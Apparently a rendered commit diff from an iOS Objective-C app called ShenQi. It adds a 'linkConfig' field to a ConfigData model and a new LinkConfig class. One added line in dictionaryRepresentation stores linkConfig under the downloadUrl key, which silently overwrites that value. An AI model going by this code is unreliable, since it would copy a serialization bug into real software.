CGFloat y = (size - textSize.height) / 2.0f;
|
||||
|
||||
// 绘制文本
|
||||
[text drawAtPoint:CGPointMake(x, y) withFont:font];
|
||||
|
||||
// 获取UIImage对象
|
||||
UIImage *image = UIGraphicsGetImageFromCurrentImageContext();
|
||||
|
||||
// 结束图形上下文
|
||||
UIGraphicsEndImageContext();
|
||||
|
||||
return image;
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
@@ -25,6 +25,7 @@
|
||||
@property (nonatomic, strong) NSString *apkUrl;
|
||||
@property (nonatomic, strong) NSString *downloadUrl;
|
||||
@property (nonatomic, assign) NSInteger isUse;
|
||||
@property (nonatomic, strong) NSString *linkConfig;
|
||||
|
||||
+ (instancetype)modelObjectWithDictionary:(NSDictionary *)dict;
|
||||
- (instancetype)initWithDictionary:(NSDictionary *)dict;
|
||||
|
||||
@@ -23,6 +23,7 @@ NSString *const kConfigDataWsUrl = @"wsUrl";
|
||||
NSString *const kConfigDataApkUrl = @"apkUrl";
|
||||
NSString *const kConfigDataDownloadUrl = @"downloadUrl";
|
||||
NSString *const kConfigDataIsUse = @"isUse";
|
||||
NSString *const kConfigDatalinkConfig = @"linkConfig";
|
||||
|
||||
@interface ConfigData ()
|
||||
|
||||
@@ -48,6 +49,7 @@ NSString *const kConfigDataIsUse = @"isUse";
|
||||
@synthesize apkUrl = _apkUrl;
|
||||
@synthesize downloadUrl = _downloadUrl;
|
||||
@synthesize isUse = _isUse;
|
||||
@synthesize linkConfig = _linkConfig;
|
||||
|
||||
+ (instancetype)modelObjectWithDictionary:(NSDictionary *)dict {
|
||||
return [[self alloc] initWithDictionary:dict];
|
||||
@@ -74,8 +76,7 @@ NSString *const kConfigDataIsUse = @"isUse";
|
||||
self.apkUrl = [self objectOrNilForKey:kConfigDataApkUrl fromDictionary:dict];
|
||||
self.downloadUrl = [self objectOrNilForKey:kConfigDataDownloadUrl fromDictionary:dict];
|
||||
self.isUse = [[self objectOrNilForKey:kConfigDataIsUse fromDictionary:dict] intValue];
|
||||
|
||||
}
|
||||
self.linkConfig = [self objectOrNilForKey:kConfigDatalinkConfig fromDictionary:dict]; }
|
||||
return self;
|
||||
}
|
||||
|
||||
@@ -96,6 +97,7 @@ NSString *const kConfigDataIsUse = @"isUse";
|
||||
[mutableDict setValue:self.wsUrl forKey:kConfigDataWsUrl];
|
||||
[mutableDict setValue:self.apkUrl forKey:kConfigDataApkUrl];
|
||||
[mutableDict setValue:self.downloadUrl forKey:kConfigDataDownloadUrl];
|
||||
[mutableDict setValue:self.linkConfig forKey:kConfigDataDownloadUrl];
|
||||
[mutableDict setValue:[NSNumber numberWithInteger:self.isUse] forKey:kConfigDataIsUse];
|
||||
return [NSDictionary dictionaryWithDictionary:mutableDict];
|
||||
}
|
||||
@@ -129,6 +131,7 @@ NSString *const kConfigDataIsUse = @"isUse";
|
||||
self.wsUrl = [aDecoder decodeObjectForKey:kConfigDataWsUrl];
|
||||
self.apkUrl = [aDecoder decodeObjectForKey:kConfigDataApkUrl];
|
||||
self.downloadUrl = [aDecoder decodeObjectForKey:kConfigDataDownloadUrl];
|
||||
self.linkConfig = [aDecoder decodeObjectForKey:kConfigDatalinkConfig];
|
||||
self.isUse = [aDecoder decodeIntegerForKey:kConfigDataIsUse];
|
||||
return self;
|
||||
}
|
||||
@@ -148,6 +151,7 @@ NSString *const kConfigDataIsUse = @"isUse";
|
||||
[aCoder encodeInteger:_noticeApplyMode forKey:kConfigDataNoticeApplyMode];
|
||||
[aCoder encodeObject:_wsUrl forKey:kConfigDataWsUrl];
|
||||
[aCoder encodeObject:_apkUrl forKey:kConfigDataApkUrl];
|
||||
[aCoder encodeObject:_linkConfig forKey:kConfigDatalinkConfig];
|
||||
[aCoder encodeObject:_downloadUrl forKey:kConfigDataDownloadUrl];
|
||||
[aCoder encodeInteger:_isUse forKey:kConfigDataIsUse];
|
||||
}
|
||||
@@ -169,6 +173,7 @@ NSString *const kConfigDataIsUse = @"isUse";
|
||||
copy.noticeApplyMode = self.noticeApplyMode;
|
||||
copy.wsUrl = [self.wsUrl copyWithZone:zone];
|
||||
copy.apkUrl = [self.apkUrl copyWithZone:zone];
|
||||
copy.linkConfig = [self.linkConfig copyWithZone:zone];
|
||||
copy.downloadUrl = [self.downloadUrl copyWithZone:zone];
|
||||
copy.isUse = self.isUse;
|
||||
}
|
||||
|
||||
21
ShenQi/YYModel/LinkConfig.h
Normal file
@@ -0,0 +1,21 @@
|
||||
//
|
||||
// LinkConfig.h
|
||||
// ShenQi
|
||||
//
|
||||
// Created by Yao on 2024/12/21.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface LinkConfig : NSObject
|
||||
|
||||
@property (nonatomic, assign) BOOL isGoBack;
|
||||
@property (nonatomic, strong) NSString *name;
|
||||
@property (nonatomic, strong) NSString *icon;
|
||||
@property (nonatomic, strong) NSString *linkUrl;
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
12
ShenQi/YYModel/LinkConfig.m
Normal file
@@ -0,0 +1,12 @@
|
||||
//
|
||||
// LinkConfig.m
|
||||
// ShenQi
|
||||
//
|
||||
// Created by Yao on 2024/12/21.
|
||||
//
|
||||
|
||||
#import "LinkConfig.h"
|
||||
|
||||
@implementation LinkConfig
|
||||
|
||||
@end
|
||||